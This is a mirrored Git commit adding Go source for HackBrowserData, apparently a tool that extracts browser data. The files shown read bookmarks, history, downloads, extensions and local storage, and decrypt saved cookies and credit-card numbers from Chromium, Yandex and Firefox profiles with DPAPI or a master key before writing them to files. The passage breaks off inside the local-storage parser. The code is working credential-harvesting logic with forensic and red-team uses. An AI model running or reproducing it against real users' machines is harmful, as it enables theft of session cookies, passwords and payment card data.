mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
chore: fix typos (#232)
This commit is contained in:
stevenlele
@@ -0,0 +1,149 @@
|
||||
package bookmark
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumBookmark []bookmark
|
||||
|
||||
type bookmark struct {
|
||||
ID int64
|
||||
Name string
|
||||
Type string
|
||||
URL string
|
||||
DateAdded time.Time
|
||||
}
|
||||
|
||||
func (c *ChromiumBookmark) Parse(_ []byte) error {
|
||||
bookmarks, err := fileutil.ReadFile(item.TempChromiumBookmark)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumBookmark)
|
||||
r := gjson.Parse(bookmarks)
|
||||
if r.Exists() {
|
||||
roots := r.Get("roots")
|
||||
roots.ForEach(func(key, value gjson.Result) bool {
|
||||
getBookmarkChildren(value, c)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
const (
|
||||
bookmarkID = "id"
|
||||
bookmarkAdded = "date_added"
|
||||
bookmarkURL = "url"
|
||||
bookmarkName = "name"
|
||||
bookmarkType = "type"
|
||||
bookmarkChildren = "children"
|
||||
)
|
||||
|
||||
func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
|
||||
nodeType := value.Get(bookmarkType)
|
||||
children = value.Get(bookmarkChildren)
|
||||
|
||||
bm := bookmark{
|
||||
ID: value.Get(bookmarkID).Int(),
|
||||
Name: value.Get(bookmarkName).String(),
|
||||
URL: value.Get(bookmarkURL).String(),
|
||||
DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
|
||||
}
|
||||
if nodeType.Exists() {
|
||||
bm.Type = nodeType.String()
|
||||
*w = append(*w, bm)
|
||||
if children.Exists() && children.IsArray() {
|
||||
for _, v := range children.Array() {
|
||||
children = getBookmarkChildren(v, w)
|
||||
}
|
||||
}
|
||||
}
|
||||
return children
|
||||
}
|
||||
|
||||
func (c *ChromiumBookmark) Name() string {
|
||||
return "bookmark"
|
||||
}
|
||||
|
||||
func (c *ChromiumBookmark) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxBookmark []bookmark
|
||||
|
||||
const (
|
||||
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
|
||||
closeJournalMode = `PRAGMA journal_mode=off`
|
||||
)
|
||||
|
||||
func (f *FirefoxBookmark) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxBookmark)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxBookmark)
|
||||
defer db.Close()
|
||||
_, err = db.Exec(closeJournalMode)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
rows, err := db.Query(queryFirefoxBookMark)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
id, bt, dateAdded int64
|
||||
title, url string
|
||||
)
|
||||
if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
*f = append(*f, bookmark{
|
||||
ID: id,
|
||||
Name: title,
|
||||
Type: linkType(bt),
|
||||
URL: url,
|
||||
DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
|
||||
})
|
||||
}
|
||||
sort.Slice(*f, func(i, j int) bool {
|
||||
return (*f)[i].DateAdded.After((*f)[j].DateAdded)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *FirefoxBookmark) Name() string {
|
||||
return "bookmark"
|
||||
}
|
||||
|
||||
func (f *FirefoxBookmark) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
|
||||
func linkType(a int64) string {
|
||||
switch a {
|
||||
case 1:
|
||||
return "url"
|
||||
default:
|
||||
return "folder"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
package browsingdata
|
||||
|
||||
import (
|
||||
"path"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/bookmark"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/cookie"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/creditcard"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/download"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/extension"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/history"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/localstorage"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/password"
|
||||
"github.com/moond4rk/hackbrowserdata/browsingdata/sessionstorage"
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
|
||||
)
|
||||
|
||||
type Data struct {
|
||||
sources map[item.Item]Source
|
||||
}
|
||||
|
||||
type Source interface {
|
||||
Parse(masterKey []byte) error
|
||||
|
||||
Name() string
|
||||
|
||||
Len() int
|
||||
}
|
||||
|
||||
func New(items []item.Item) *Data {
|
||||
bd := &Data{
|
||||
sources: make(map[item.Item]Source),
|
||||
}
|
||||
bd.addSources(items)
|
||||
return bd
|
||||
}
|
||||
|
||||
func (d *Data) Recovery(masterKey []byte) error {
|
||||
for _, source := range d.sources {
|
||||
if err := source.Parse(masterKey); err != nil {
|
||||
log.Errorf("parse %s error %s", source.Name(), err.Error())
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Data) Output(dir, browserName, flag string) {
|
||||
output := newOutPutter(flag)
|
||||
|
||||
for _, source := range d.sources {
|
||||
if source.Len() == 0 {
|
||||
// if the length of the export data is 0, then it is not necessary to output
|
||||
continue
|
||||
}
|
||||
filename := fileutil.ItemName(browserName, source.Name(), output.Ext())
|
||||
|
||||
f, err := output.CreateFile(dir, filename)
|
||||
if err != nil {
|
||||
log.Errorf("create file %s error %s", filename, err.Error())
|
||||
continue
|
||||
}
|
||||
if err := output.Write(source, f); err != nil {
|
||||
log.Errorf("write to file %s error %s", filename, err.Error())
|
||||
continue
|
||||
}
|
||||
if err := f.Close(); err != nil {
|
||||
log.Errorf("close file %s error %s", filename, err.Error())
|
||||
continue
|
||||
}
|
||||
log.Noticef("output to file %s success", path.Join(dir, filename))
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Data) addSources(items []item.Item) {
|
||||
for _, source := range items {
|
||||
switch source {
|
||||
case item.ChromiumPassword:
|
||||
d.sources[source] = &password.ChromiumPassword{}
|
||||
case item.ChromiumCookie:
|
||||
d.sources[source] = &cookie.ChromiumCookie{}
|
||||
case item.ChromiumBookmark:
|
||||
d.sources[source] = &bookmark.ChromiumBookmark{}
|
||||
case item.ChromiumHistory:
|
||||
d.sources[source] = &history.ChromiumHistory{}
|
||||
case item.ChromiumDownload:
|
||||
d.sources[source] = &download.ChromiumDownload{}
|
||||
case item.ChromiumCreditCard:
|
||||
d.sources[source] = &creditcard.ChromiumCreditCard{}
|
||||
case item.ChromiumLocalStorage:
|
||||
d.sources[source] = &localstorage.ChromiumLocalStorage{}
|
||||
case item.ChromiumSessionStorage:
|
||||
d.sources[source] = &sessionstorage.ChromiumSessionStorage{}
|
||||
case item.ChromiumExtension:
|
||||
d.sources[source] = &extension.ChromiumExtension{}
|
||||
case item.YandexPassword:
|
||||
d.sources[source] = &password.YandexPassword{}
|
||||
case item.YandexCreditCard:
|
||||
d.sources[source] = &creditcard.YandexCreditCard{}
|
||||
case item.FirefoxPassword:
|
||||
d.sources[source] = &password.FirefoxPassword{}
|
||||
case item.FirefoxCookie:
|
||||
d.sources[source] = &cookie.FirefoxCookie{}
|
||||
case item.FirefoxBookmark:
|
||||
d.sources[source] = &bookmark.FirefoxBookmark{}
|
||||
case item.FirefoxHistory:
|
||||
d.sources[source] = &history.FirefoxHistory{}
|
||||
case item.FirefoxDownload:
|
||||
d.sources[source] = &download.FirefoxDownload{}
|
||||
case item.FirefoxLocalStorage:
|
||||
d.sources[source] = &localstorage.FirefoxLocalStorage{}
|
||||
case item.FirefoxExtension:
|
||||
d.sources[source] = &extension.FirefoxExtension{}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
package cookie
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumCookie []cookie
|
||||
|
||||
type cookie struct {
|
||||
Host string
|
||||
Path string
|
||||
KeyName string
|
||||
encryptValue []byte
|
||||
Value string
|
||||
IsSecure bool
|
||||
IsHTTPOnly bool
|
||||
HasExpire bool
|
||||
IsPersistent bool
|
||||
CreateDate time.Time
|
||||
ExpireDate time.Time
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
|
||||
)
|
||||
|
||||
func (c *ChromiumCookie) Parse(masterKey []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempChromiumCookie)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumCookie)
|
||||
defer db.Close()
|
||||
rows, err := db.Query(queryChromiumCookie)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
key, host, path string
|
||||
isSecure, isHTTPOnly, hasExpire, isPersistent int
|
||||
createDate, expireDate int64
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
|
||||
cookie := cookie{
|
||||
KeyName: key,
|
||||
Host: host,
|
||||
Path: path,
|
||||
encryptValue: encryptValue,
|
||||
IsSecure: typeutil.IntToBool(isSecure),
|
||||
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
|
||||
HasExpire: typeutil.IntToBool(hasExpire),
|
||||
IsPersistent: typeutil.IntToBool(isPersistent),
|
||||
CreateDate: typeutil.TimeEpoch(createDate),
|
||||
ExpireDate: typeutil.TimeEpoch(expireDate),
|
||||
}
|
||||
if len(encryptValue) > 0 {
|
||||
if len(masterKey) == 0 {
|
||||
value, err = crypto.DPAPI(encryptValue)
|
||||
} else {
|
||||
value, err = crypto.DecryptPass(masterKey, encryptValue)
|
||||
}
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
}
|
||||
cookie.Value = string(value)
|
||||
*c = append(*c, cookie)
|
||||
}
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumCookie) Name() string {
|
||||
return "cookie"
|
||||
}
|
||||
|
||||
func (c *ChromiumCookie) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxCookie []cookie
|
||||
|
||||
const (
|
||||
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
|
||||
)
|
||||
|
||||
func (f *FirefoxCookie) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxCookie)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxCookie)
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query(queryFirefoxCookie)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, value, host, path string
|
||||
isSecure, isHTTPOnly int
|
||||
creationTime, expiry int64
|
||||
)
|
||||
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
*f = append(*f, cookie{
|
||||
KeyName: name,
|
||||
Host: host,
|
||||
Path: path,
|
||||
IsSecure: typeutil.IntToBool(isSecure),
|
||||
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
|
||||
CreateDate: typeutil.TimeStamp(creationTime / 1000000),
|
||||
ExpireDate: typeutil.TimeStamp(expiry),
|
||||
Value: value,
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(*f, func(i, j int) bool {
|
||||
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *FirefoxCookie) Name() string {
|
||||
return "cookie"
|
||||
}
|
||||
|
||||
func (f *FirefoxCookie) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package creditcard
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
)
|
||||
|
||||
type ChromiumCreditCard []card
|
||||
|
||||
type card struct {
|
||||
GUID string
|
||||
Name string
|
||||
ExpirationYear string
|
||||
ExpirationMonth string
|
||||
CardNumber string
|
||||
Address string
|
||||
NickName string
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
|
||||
)
|
||||
|
||||
func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempChromiumCreditCard)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumCreditCard)
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query(queryChromiumCredit)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, month, year, guid, address, nickname string
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
ccInfo := card{
|
||||
GUID: guid,
|
||||
Name: name,
|
||||
ExpirationMonth: month,
|
||||
ExpirationYear: year,
|
||||
Address: address,
|
||||
NickName: nickname,
|
||||
}
|
||||
if len(encryptValue) > 0 {
|
||||
if len(masterKey) == 0 {
|
||||
value, err = crypto.DPAPI(encryptValue)
|
||||
} else {
|
||||
value, err = crypto.DecryptPass(masterKey, encryptValue)
|
||||
}
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
ccInfo.CardNumber = string(value)
|
||||
*c = append(*c, ccInfo)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumCreditCard) Name() string {
|
||||
return "creditcard"
|
||||
}
|
||||
|
||||
func (c *ChromiumCreditCard) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type YandexCreditCard []card
|
||||
|
||||
func (c *YandexCreditCard) Parse(masterKey []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempYandexCreditCard)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempYandexCreditCard)
|
||||
defer db.Close()
|
||||
rows, err := db.Query(queryChromiumCredit)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, month, year, guid, address, nickname string
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
ccInfo := card{
|
||||
GUID: guid,
|
||||
Name: name,
|
||||
ExpirationMonth: month,
|
||||
ExpirationYear: year,
|
||||
Address: address,
|
||||
NickName: nickname,
|
||||
}
|
||||
if len(encryptValue) > 0 {
|
||||
if len(masterKey) == 0 {
|
||||
value, err = crypto.DPAPI(encryptValue)
|
||||
} else {
|
||||
value, err = crypto.DecryptPass(masterKey, encryptValue)
|
||||
}
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
}
|
||||
ccInfo.CardNumber = string(value)
|
||||
*c = append(*c, ccInfo)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *YandexCreditCard) Name() string {
|
||||
return "creditcard"
|
||||
}
|
||||
|
||||
func (c *YandexCreditCard) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package download
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumDownload []download
|
||||
|
||||
type download struct {
|
||||
TargetPath string
|
||||
URL string
|
||||
TotalBytes int64
|
||||
StartTime time.Time
|
||||
EndTime time.Time
|
||||
MimeType string
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
|
||||
)
|
||||
|
||||
func (c *ChromiumDownload) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempChromiumDownload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumDownload)
|
||||
defer db.Close()
|
||||
rows, err := db.Query(queryChromiumDownload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
targetPath, tabURL, mimeType string
|
||||
totalBytes, startTime, endTime int64
|
||||
)
|
||||
if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
data := download{
|
||||
TargetPath: targetPath,
|
||||
URL: tabURL,
|
||||
TotalBytes: totalBytes,
|
||||
StartTime: typeutil.TimeEpoch(startTime),
|
||||
EndTime: typeutil.TimeEpoch(endTime),
|
||||
MimeType: mimeType,
|
||||
}
|
||||
*c = append(*c, data)
|
||||
}
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].TotalBytes > (*c)[j].TotalBytes
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumDownload) Name() string {
|
||||
return "download"
|
||||
}
|
||||
|
||||
func (c *ChromiumDownload) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxDownload []download
|
||||
|
||||
const (
|
||||
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
|
||||
closeJournalMode = `PRAGMA journal_mode=off`
|
||||
)
|
||||
|
||||
func (f *FirefoxDownload) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxDownload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxDownload)
|
||||
defer db.Close()
|
||||
|
||||
_, err = db.Exec(closeJournalMode)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
rows, err := db.Query(queryFirefoxDownload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
content, url string
|
||||
placeID, dateAdded int64
|
||||
)
|
||||
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
contentList := strings.Split(content, ",{")
|
||||
if len(contentList) > 1 {
|
||||
path := contentList[0]
|
||||
json := "{" + contentList[1]
|
||||
endTime := gjson.Get(json, "endTime")
|
||||
fileSize := gjson.Get(json, "fileSize")
|
||||
*f = append(*f, download{
|
||||
TargetPath: path,
|
||||
URL: url,
|
||||
TotalBytes: fileSize.Int(),
|
||||
StartTime: typeutil.TimeStamp(dateAdded / 1000000),
|
||||
EndTime: typeutil.TimeStamp(endTime.Int() / 1000),
|
||||
})
|
||||
}
|
||||
}
|
||||
sort.Slice(*f, func(i, j int) bool {
|
||||
return (*f)[i].TotalBytes < (*f)[j].TotalBytes
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *FirefoxDownload) Name() string {
|
||||
return "download"
|
||||
}
|
||||
|
||||
func (f *FirefoxDownload) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
|
||||
)
|
||||
|
||||
type ChromiumExtension []*extension
|
||||
|
||||
type extension struct {
|
||||
Name string
|
||||
Description string
|
||||
Version string
|
||||
HomepageURL string
|
||||
}
|
||||
|
||||
const (
|
||||
manifest = "manifest.json"
|
||||
)
|
||||
|
||||
func (c *ChromiumExtension) Parse(_ []byte) error {
|
||||
files, err := fileutil.FilesInFolder(item.TempChromiumExtension, manifest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(item.TempChromiumExtension)
|
||||
for _, f := range files {
|
||||
content, err := fileutil.ReadFile(f)
|
||||
if err != nil {
|
||||
log.Error("Failed to read content: %s", err)
|
||||
continue
|
||||
}
|
||||
b := gjson.Parse(content)
|
||||
*c = append(*c, &extension{
|
||||
Name: b.Get("name").String(),
|
||||
Description: b.Get("description").String(),
|
||||
Version: b.Get("version").String(),
|
||||
HomepageURL: b.Get("homepage_url").String(),
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumExtension) Name() string {
|
||||
return "extension"
|
||||
}
|
||||
|
||||
func (c *ChromiumExtension) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxExtension []*extension
|
||||
|
||||
func (f *FirefoxExtension) Parse(_ []byte) error {
|
||||
s, err := fileutil.ReadFile(item.TempFirefoxExtension)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxExtension)
|
||||
j := gjson.Parse(s)
|
||||
for _, v := range j.Get("addons").Array() {
|
||||
*f = append(*f, &extension{
|
||||
Name: v.Get("defaultLocale.name").String(),
|
||||
Description: v.Get("defaultLocale.description").String(),
|
||||
Version: v.Get("version").String(),
|
||||
HomepageURL: v.Get("defaultLocale.homepageURL").String(),
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *FirefoxExtension) Name() string {
|
||||
return "extension"
|
||||
}
|
||||
|
||||
func (f *FirefoxExtension) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package history
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumHistory []history
|
||||
|
||||
type history struct {
|
||||
Title string
|
||||
URL string
|
||||
VisitCount int
|
||||
LastVisitTime time.Time
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
|
||||
)
|
||||
|
||||
func (c *ChromiumHistory) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempChromiumHistory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumHistory)
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query(queryChromiumHistory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, title string
|
||||
visitCount int
|
||||
lastVisitTime int64
|
||||
)
|
||||
if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
data := history{
|
||||
URL: url,
|
||||
Title: title,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
|
||||
}
|
||||
*c = append(*c, data)
|
||||
}
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].VisitCount > (*c)[j].VisitCount
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumHistory) Name() string {
|
||||
return "history"
|
||||
}
|
||||
|
||||
func (c *ChromiumHistory) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxHistory []history
|
||||
|
||||
const (
|
||||
queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
|
||||
closeJournalMode = `PRAGMA journal_mode=off`
|
||||
)
|
||||
|
||||
func (f *FirefoxHistory) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxHistory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxHistory)
|
||||
defer db.Close()
|
||||
|
||||
_, err = db.Exec(closeJournalMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer db.Close()
|
||||
rows, err := db.Query(queryFirefoxHistory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
id, visitDate int64
|
||||
url, title string
|
||||
visitCount int
|
||||
)
|
||||
if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
*f = append(*f, history{
|
||||
Title: title,
|
||||
URL: url,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
|
||||
})
|
||||
}
|
||||
sort.Slice(*f, func(i, j int) bool {
|
||||
return (*f)[i].VisitCount < (*f)[j].VisitCount
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *FirefoxHistory) Name() string {
|
||||
return "history"
|
||||
}
|
||||
|
||||
func (f *FirefoxHistory) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package localstorage
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/syndtr/goleveldb/leveldb"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumLocalStorage []storage
|
||||
|
||||
type storage struct {
|
||||
IsMeta bool
|
||||
URL string
|
||||
Key string
|
||||
Value string
|
||||
}
|
||||
|
||||
const maxLocalStorageValueLength = 1024 * 2
|
||||
|
||||
func (c *ChromiumLocalStorage) Parse(_ []byte) error {
|
||||
db, err := leveldb.OpenFile(item.TempChromiumLocalStorage, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(item.TempChromiumLocalStorage)
|
||||
defer db.Close()
|
||||
|
||||
iter := db.NewIterator(nil, nil)
|
||||
for iter.Next() {
|
||||
key := iter.Key()
|
||||
value := iter.Value()
|
||||
s := new(storage)
|
||||
s.fillKey(key)
|
||||
// don't all value upper than 2KB
|
||||
if len(value) < maxLocalStorageValueLength {
|
||||
s.fillValue(value)
|
||||
} else {
|
||||
s.Value = fmt.Sprintf("value is too long, length is %d, supportted max length is %d", len(value), maxLocalStorageValueLength)
|
||||
}
|
||||
if s.IsMeta {
|
||||
